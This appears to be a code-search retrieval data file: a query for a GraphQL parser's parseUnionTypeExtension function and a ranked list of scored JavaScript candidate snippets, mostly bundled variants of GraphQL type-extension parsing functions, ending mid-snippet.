[ { "docid": "354b8b4ed33bf01f51cebeead8a8203f", "score": "0.7579103", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" } ]
[ { "docid": "06f91e0feeae3ec5ecf9a5d18a0bde25", "score": "0.7586277", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "06f91e0feeae3ec5ecf9a5d18a0bde25", "score": "0.7586277", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "dcf36983c365c2c3f27f62736da4089d", "score": "0.75530833", "text": "function parseUnionTypeExtension(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t expectKeyword(lexer, 'union');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer, true);\n\t var types = parseUnionMemberTypes(lexer);\n\t if (directives.length === 0 && types.length === 0) {\n\t throw unexpected(lexer);\n\t }\n\t return {\n\t kind: Kind.UNION_TYPE_EXTENSION,\n\t name: name,\n\t directives: directives,\n\t types: types,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "845f39c2b3a03fc59f5d5cc55dfae2ef", "score": "0.75256103", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_4__[\"Kind\"].UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "fba9596671ee149380056b841fe98a7a", "score": "0.7521279", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_6__[\"Kind\"].UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "55538a26f80ad4cf3df41f3ef208ad51", "score": "0.7517301", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[\"Kind\"].UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "14c3129bd7c5f09bd49fc4ca0eeab01a", "score": "0.7489927", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: __WEBPACK_IMPORTED_MODULE_4__kinds__[\"a\" /* Kind */].UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "58153e8efe536ebfa01eebae1ed7b9a5", "score": "0.7464593", "text": "function parseUnionTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n\n if (directives.length === 0 && types.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[/* Kind */ \"a\"].UNION_TYPE_EXTENSION,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "ad9b175e7a149e851b498af50be884a2", "score": "0.5731286", "text": "function parseTypeExtensionDefinition(lexer){var start=lexer.token;expectKeyword(lexer,'extend');var definition=parseObjectTypeDefinition(lexer);return{kind:_kinds.TYPE_EXTENSION_DEFINITION,definition:definition,loc:loc(lexer,start)};}", "title": "" }, { "docid": "fed1df2b0e745dbd8b7b9ebfaf3206c7", "score": "0.55481493", "text": "function parseTypeExtensionDefinition(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n var definition = parseObjectTypeDefinition(lexer);\n return {\n kind: _kinds.TYPE_EXTENSION_DEFINITION,\n definition: definition,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "fed1df2b0e745dbd8b7b9ebfaf3206c7", "score": "0.55481493", "text": "function parseTypeExtensionDefinition(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n var definition = parseObjectTypeDefinition(lexer);\n return {\n kind: _kinds.TYPE_EXTENSION_DEFINITION,\n definition: definition,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "052248d4ae982cc4950d847a3862fa95", "score": "0.5533852", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (expectOptionalToken(lexer, _tokenKind__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].EQUALS)) {\n // Optional leading pipe\n expectOptionalToken(lexer, _tokenKind__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (expectOptionalToken(lexer, _tokenKind__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "49e0ef14b020bfcaf154f081269dbc5d", "score": "0.55231535", "text": "function parseUnionMembers(lexer){var members=[];do{members.push(parseNamedType(lexer));}while(skip(lexer,_lexer.TokenKind.PIPE));return members;}", "title": "" }, { "docid": "5d1a2994003c8b3a3da8f2a2855b0d5d", "score": "0.548415", "text": "function parseUnionTypeDefinition(lexer){var start=lexer.token;expectKeyword(lexer,'union');var name=parseName(lexer);var directives=parseDirectives(lexer);expect(lexer,_lexer.TokenKind.EQUALS);var types=parseUnionMembers(lexer);return{kind:_kinds.UNION_TYPE_DEFINITION,name:name,directives:directives,types:types,loc:loc(lexer,start)};}", "title": "" }, { "docid": "9e39c0c79dc15e297438199396e564cc", "score": "0.5455911", "text": "function parseTypeExtensionDefinition(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t var definition = parseObjectTypeDefinition(lexer);\n\t return {\n\t kind: _kinds.TYPE_EXTENSION_DEFINITION,\n\t definition: definition,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "9e39c0c79dc15e297438199396e564cc", "score": "0.5455911", "text": "function parseTypeExtensionDefinition(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t var definition = parseObjectTypeDefinition(lexer);\n\t return {\n\t kind: _kinds.TYPE_EXTENSION_DEFINITION,\n\t definition: definition,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "a2cde18c2dcac1354ec5d36ccdfa9a2c", "score": "0.5421752", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (expectOptionalToken(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[/* TokenKind */ \"a\"].EQUALS)) {\n // Optional leading pipe\n expectOptionalToken(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[/* TokenKind */ \"a\"].PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (expectOptionalToken(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[/* TokenKind */ \"a\"].PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "014dc60bab618667484bbae8e75d2793", "score": "0.5399111", "text": "function __defineSyntheticUnion(typeName, typeDescriptor)\n{\n __preprocessTypeDescriptor(typeDescriptor);\n\n class typeClass\n {\n constructor(addr, contextInheritorModule)\n {\n var largestSize = 0;\n var curBit = 0;\n var fieldSize = 0;\n var addr64 = host.Int64(addr);\n this.targetLocation = addr64;\n this.targetSize = __getSyntheticTypeSize(typeName, contextInheritorModule);\n for (var field of typeDescriptor)\n {\n var fldSize = __getSyntheticFieldSize(field, contextInheritorModule);\n var isBitField = !(field.bitLength === undefined);\n if (isBitField)\n {\n if (fieldSize == 0)\n {\n curBit = 0;\n fieldSize = fldSize;\n }\n field.startingBit = curBit;\n }\n\n var fldValue = __getSyntheticFieldValue(field, addr64, contextInheritorModule);\n\n var fldName = field.fieldName;\n if (fldName === undefined)\n {\n __embedType(this, fldValue, contextInheritorModule);\n }\n else\n {\n this[field.fieldName] = fldValue;\n }\n\n if (isBitField)\n {\n curBit += field.bitLength;\n if (curBit >= fieldSize * 8)\n {\n curBit = 0;\n fieldSize = 0;\n }\n }\n }\n }\n };\n\n __syntheticTypes[typeName] =\n {\n classObject: typeClass,\n descriptor: typeDescriptor,\n isUnion: true\n }\n\n __globalScope[\"__\" + typeName] = typeClass;\n}", "title": "" }, { "docid": "e363488199c32617a58834efb8a743a4", "score": "0.5372823", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "e363488199c32617a58834efb8a743a4", "score": "0.5372823", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "1c7bc8a08f4612698a8fc95a4362ffb4", "score": "0.53583634", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "1c7bc8a08f4612698a8fc95a4362ffb4", "score": "0.53583634", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "1c7bc8a08f4612698a8fc95a4362ffb4", "score": "0.53583634", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "edfd88cb0a1a5f3502aad258fd387a6a", "score": "0.53552777", "text": "function WrappedUnionType(attrs, opts) {\n UnionType.call(this, attrs, opts);\n\n this._constructors = this._types.map(function (type) {\n // jshint -W054\n var name = type.getName(true);\n if (name === 'null') {\n return null;\n }\n var body;\n if (~name.indexOf('.')) { // Qualified name.\n body = 'this[\\'' + name + '\\'] = val;';\n } else {\n body = 'this.' + name + ' = val;';\n }\n var constructor = new Function('val', body);\n constructor.getBranchType = function () { return type; };\n return constructor;\n });\n}", "title": "" }, { "docid": "cf930b5fbe08ff47d5995ae698582b0c", "score": "0.53457487", "text": "function parseObjectTypeExtension(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t expectKeyword(lexer, 'type');\n\t var name = parseName(lexer);\n\t var interfaces = parseImplementsInterfaces(lexer);\n\t var directives = parseDirectives(lexer, true);\n\t var fields = parseFieldsDefinition(lexer);\n\t if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n\t throw unexpected(lexer);\n\t }\n\t return {\n\t kind: Kind.OBJECT_TYPE_EXTENSION,\n\t name: name,\n\t interfaces: interfaces,\n\t directives: directives,\n\t fields: fields,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "755aa0e1be5f1d9d1dc924f89bf430b8", "score": "0.53072995", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (skip(lexer, __WEBPACK_IMPORTED_MODULE_3__lexer__[\"a\" /* TokenKind */].EQUALS)) {\n // Optional leading pipe\n skip(lexer, __WEBPACK_IMPORTED_MODULE_3__lexer__[\"a\" /* TokenKind */].PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, __WEBPACK_IMPORTED_MODULE_3__lexer__[\"a\" /* TokenKind */].PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "d7f5d58cb1744a4e398edb28f707aaa7", "score": "0.5296279", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n if (skip(lexer, _lexer.TokenKind.EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n }\n return types;\n}", "title": "" }, { "docid": "d7f5d58cb1744a4e398edb28f707aaa7", "score": "0.5296279", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n if (skip(lexer, _lexer.TokenKind.EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n }\n return types;\n}", "title": "" }, { "docid": "71ffdb8c849ce33a3dbcacd16775531b", "score": "0.5274732", "text": "function parseUnionMemberTypes(lexer) {\n\t var types = [];\n\t if (skip(lexer, TokenKind.EQUALS)) {\n\t // Optional leading pipe\n\t skip(lexer, TokenKind.PIPE);\n\t do {\n\t types.push(parseNamedType(lexer));\n\t } while (skip(lexer, TokenKind.PIPE));\n\t }\n\t return types;\n\t}", "title": "" }, { "docid": "deca832c18c2f822b645cc1db12afce9", "score": "0.52743787", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_4__[\"Kind\"].UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "323da799fdc376629288e27c2e67af1d", "score": "0.5271675", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: __WEBPACK_IMPORTED_MODULE_4__kinds__[\"a\" /* Kind */].UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "e1cccbcca7adba54d80bf2a982ddb4b2", "score": "0.526757", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (skip(lexer, _lexer.TokenKind.EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "e1cccbcca7adba54d80bf2a982ddb4b2", "score": "0.526757", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (skip(lexer, _lexer.TokenKind.EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "e1cccbcca7adba54d80bf2a982ddb4b2", "score": "0.526757", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (skip(lexer, _lexer.TokenKind.EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "aee1b06bc24d49bb195801c750c57bb6", "score": "0.5267032", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[\"Kind\"].UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "eee238c93c3d7ab9d166b30211e2d2b1", "score": "0.5266682", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: __WEBPACK_IMPORTED_MODULE_4__kinds__[\"a\" /* Kind */].OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "6c16e49653ccd82e568384d3c22ff0bd", "score": "0.52632505", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_6__[\"Kind\"].UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "6c6f56ea30297ce4bddf7d866d3ad65d", "score": "0.5251071", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "6c6f56ea30297ce4bddf7d866d3ad65d", "score": "0.5251071", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n return {\n kind: _kinds.Kind.ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "243080972b3095c88ee8fb76a455cac7", "score": "0.5245666", "text": "function parseEnumTypeExtension(lexer) {\n\t var start = lexer.token;\n\t expectKeyword(lexer, 'extend');\n\t expectKeyword(lexer, 'enum');\n\t var name = parseName(lexer);\n\t var directives = parseDirectives(lexer, true);\n\t var values = parseEnumValuesDefinition(lexer);\n\t if (directives.length === 0 && values.length === 0) {\n\t throw unexpected(lexer);\n\t }\n\t return {\n\t kind: Kind.ENUM_TYPE_EXTENSION,\n\t name: name,\n\t directives: directives,\n\t values: values,\n\t loc: loc(lexer, start)\n\t };\n\t}", "title": "" }, { "docid": "18249a04713f39f14c08f96adee1c21c", "score": "0.52326113", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "18249a04713f39f14c08f96adee1c21c", "score": "0.52326113", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "18249a04713f39f14c08f96adee1c21c", "score": "0.52326113", "text": "function parseEnumTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'enum');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var values = parseEnumValuesDefinition(lexer);\n\n if (directives.length === 0 && values.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds.Kind.ENUM_TYPE_EXTENSION,\n name: name,\n directives: directives,\n values: values,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "a04e60fd9031565e1a47b005b8b2cc4e", "score": "0.52312213", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_3__[\"TokenKind\"].EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_3__[\"TokenKind\"].PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_3__[\"TokenKind\"].PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "7da4da6052a88c14d6ac2dabf3cea89d", "score": "0.5226598", "text": "function parseUnionMemberTypes(lexer) {\n var types = [];\n\n if (skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].EQUALS)) {\n // Optional leading pipe\n skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].PIPE);\n\n do {\n types.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer__WEBPACK_IMPORTED_MODULE_4__[\"TokenKind\"].PIPE));\n }\n\n return types;\n}", "title": "" }, { "docid": "9ed009dc073629ae4373cc70fb0d569c", "score": "0.5222465", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_4__[\"Kind\"].OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "15eb2da87a491e52fd5829619627aa89", "score": "0.5218926", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_6__[\"Kind\"].OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "83692af965bb866e24bb11bd56de0512", "score": "0.5218699", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[/* Kind */ \"a\"].OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "09c824940bc5d3ad99440b23f44facbf", "score": "0.5215896", "text": "function parseObjectTypeExtension(lexer) {\n var start = lexer.token;\n expectKeyword(lexer, 'extend');\n expectKeyword(lexer, 'type');\n var name = parseName(lexer);\n var interfaces = parseImplementsInterfaces(lexer);\n var directives = parseDirectives(lexer, true);\n var fields = parseFieldsDefinition(lexer);\n\n if (interfaces.length === 0 && directives.length === 0 && fields.length === 0) {\n throw unexpected(lexer);\n }\n\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[\"Kind\"].OBJECT_TYPE_EXTENSION,\n name: name,\n interfaces: interfaces,\n directives: directives,\n fields: fields,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "4a6adf980388ea835f242776f8a9d827", "score": "0.5206142", "text": "function parseUnionTypeDefinition(lexer) {\n var start = lexer.token;\n var description = parseDescription(lexer);\n expectKeyword(lexer, 'union');\n var name = parseName(lexer);\n var directives = parseDirectives(lexer, true);\n var types = parseUnionMemberTypes(lexer);\n return {\n kind: _kinds__WEBPACK_IMPORTED_MODULE_5__[/* Kind */ \"a\"].UNION_TYPE_DEFINITION,\n description: description,\n name: name,\n directives: directives,\n types: types,\n loc: loc(lexer, start)\n };\n}", "title": "" }, { "docid": "2a4b091897223e03940d763e1ce9919f", "score": "0.5178392", "text": "function union() {\n var typeSpec = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n typeSpec[_i] = arguments[_i];\n }\n return new TUnion(typeSpec.map(function (t) { return parseSpec(t); }));\n}", "title": "" }, { "docid": "b9bcc82d074220df1c405c99797a8de0", "score": "0.5166977", "text": "function parseUnionMembers(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var members = [];\n do {\n members.push(parseNamedType(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return members;\n}", "title": "" }, { "docid": "b9bcc82d074220df1c405c99797a8de0", "score": "0.5166977", "text": "function parseUnionMembers(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var members = [];\n do {\n 